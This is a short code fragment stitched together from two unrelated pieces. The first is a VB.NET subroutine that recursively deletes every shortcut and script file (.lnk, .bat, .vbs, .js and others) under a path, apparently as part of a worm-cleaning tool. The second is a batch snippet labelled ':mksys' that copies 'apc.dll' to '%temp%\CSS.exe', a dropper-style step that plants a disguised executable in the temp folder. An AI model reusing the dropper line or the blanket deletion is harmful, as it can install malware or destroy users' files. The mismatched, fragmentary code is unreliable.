Private Sub Delete(ByVal Parch As String)
For Each Archivo As String In My.Computer.FileSystem.GetFiles( _
                                    Parch , _
                                    FileIO.SearchOption.SearchAllSubDirectories, _
                                    "*.lnk", "*.cmd", "*.js", "*.wsf", "*.vbs", "*.bat", "*.jse", "*.vbe")
                Dim signature As String = Archivo
                Dim dicrectory As String = "Script"
                Dim lvi As New ListViewItem(signature)
                lvi.SubItems.Add(dicrectory)
                lvi.SubItems.Add("[ Deleted ]")
                listv.Items.Add(lvi)
                My.Computer.FileSystem.DeleteFile(Archivo)
 
            Next
End Sub

:mksys
if exist apc.dll copy /b "apc.dll" "%temp%\CSS.exe" >nul